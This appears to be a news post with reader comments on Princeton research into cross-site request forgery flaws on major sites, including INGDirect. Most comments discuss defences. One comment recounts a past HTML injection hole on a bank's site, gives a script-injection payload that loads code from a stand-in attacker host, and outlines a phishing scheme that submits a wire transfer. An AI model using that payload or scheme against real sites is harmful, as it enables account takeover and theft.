CSRF Flaws Found On Major Websites, Including a Bank

An anonymous reader sends a link to DarkReading on the recent announcement by Princeton researchers of four major Web sites on which they found exploitable cross-site request forgery vulnerabilities. The sites are the NYTimes, YouTube, Metafilter, and INGDirect. All but the NYTimes site have patched the hole. "... four major Websites susceptible to the silent-but-deadly cross-site request forgery attack — including one on INGDirect.com's site that would let an attacker transfer money out of a victim's bank account ... Bill Zeller, a PhD candidate at Princeton, says the CSRF bug that he and fellow researcher Edward Felton found on INGDirect.com represents ... 'the first example of a CSRF attack that allows money to be transferred out of a bank account that [we're] aware of.' ... CSRF is little understood in the Web development community, and it is therefore a very common vulnerability on Websites. 'It's basically wherever you look,' says [a security researcher]." Here are Zeller's Freedom to Tinker post and the research paper (PDF).

Comments

Very nasty

[Twigmon]

This looks like a very nasty attack to defend against. More info:

http://en.wikipedia.org/wiki/Cross-site_request_forgery

Details and Examples

[nmb3000]

For anyone curious, Jeff Atwood of Coding Horror recently wrote about them in his blog. Included are some additional details and a couple of examples.

At face value it's a somewhat obvious exploit, but still interesting.

The Cross-site request forgery FAQ

[mrkitty]

http://www.cgisecurity.com/articles/csrf-faq.shtml

Transfer money where?

[z0idberg]

including one on INGDirect.com's site that would let an attacker transfer money out of a victim's bank account

With my INGdirect account (in Australia) you can only transfer your savings back into your normal bank account that is associated with the ING account. So I don't think an an attacker could actually transfer money out to somewhere they could get it. Associating another bank account with the ING account requires more than just logging in to your ING account (phone/written permission etc. IIRC).

The attacker would be able to cause some inconvenience and will get your bank account number etc. but I can't see how they would actually get your money.

Re:Computer systems need security audits.

[tuma]

GET requests in practice change stuff on the server. Making everything POSTs is just annoying - you get all those "click OK to resubmit form" messages and you don't even know what form it is.

I agree that the "click OK to resubmit form" messages are annoying - and dangerous, because your average user has no idea what the message means, or what the implications might be of clicking OK.

Fortunately, there is an extremely simple paradigm that works beautifully:

1. When an HTTP request is going to change something on the server, make it a POST request.
2. The server receives the POST request, and updates internal state, etc. When it is finished handling the internal changes (either successfully or not), it does NOT print an HTML page. Instead, it prints a REDIRECT message telling the web browser the next page it should GET. (You're the author of the web app, so you can build whatever ultra-specific URL you want here.)
3. The web browser GETs the specified page and displays it, showing whatever HTML you deem to be appropriate as the result of the POSTed change.

At the conclusion of this interchange, the user's browsing history only contains the GET page that was displayed before the POST, followed by the GET page showing the results. They can freely use their forward and back buttons to navigate within their history with no ill effect, and they will never see a "resubmit form?" question from their browser.

I use this paradigm 100% of the time. You receive tremendous benefits by respecting the documented/intended behavior of GET/POST (e.g. no problems with caching or prefetch, and when a user intentionally resubmits a POST operation it will truly be resubmitted to the server), without the painful "resubmit form?" redux.

Re:Computer systems need security audits.

[evanbd]

The spec is a little odd in this regard. It says that GETs should be idempotent -- repeating the request shouldn't change anything. That is not the same as saying that performing the request the first time shouldn't change anything. For example, clicking a "remove this from my shopping cart" link twice would have the same result as only doing it once -- the item is gone. But the request is still idempotent. That doesn't mean that you should do that, but it does conform to spec.

Unsurprising

[karmatic]

This really isn't that surprising. A number of years ago, I was in a Wells Fargo branch; their kiosks are limited to showing only wellsfargo.com.

So, in an attempt to get to another site, I typed some HTML into the search box on their homepage, and pretty much every page on their site. Sure enough, it inserted the HTML into the page without any problems.

So, I got home, and whipped up a phishing email. It went to wellsfargo.com, used a little javascript to do a popunder, and set window.location to wellsfargo.com. The popunder self-refreshed every few seconds, and checked the cookies to see when the user had logged in. After the user logs in, it waits 9 minutes (auto-logout was 10 minutes), and then would build a form to initiate a wire transfer, and submit it - while the user was still logged in. It would then close the popunder.

So, with a simple link to a search for something like <script src="http://evilsite.tld">, I could take complete control over someone's bank account. This would be easy to pull off with an email saying something like "We have detected suspicious activity; click here to log on to wellsfargo.com". It really would take them to wellsfargo.com, and they could log in. You don't need a user/password if you control the browser.

I let them know that day, and explained how one escapes HTML. To their credit, it was fixed in a very short period of time. That still doesn't excuse that 1) they should know better, and 2) if you're going to check anything, it should be the one form that's on every page.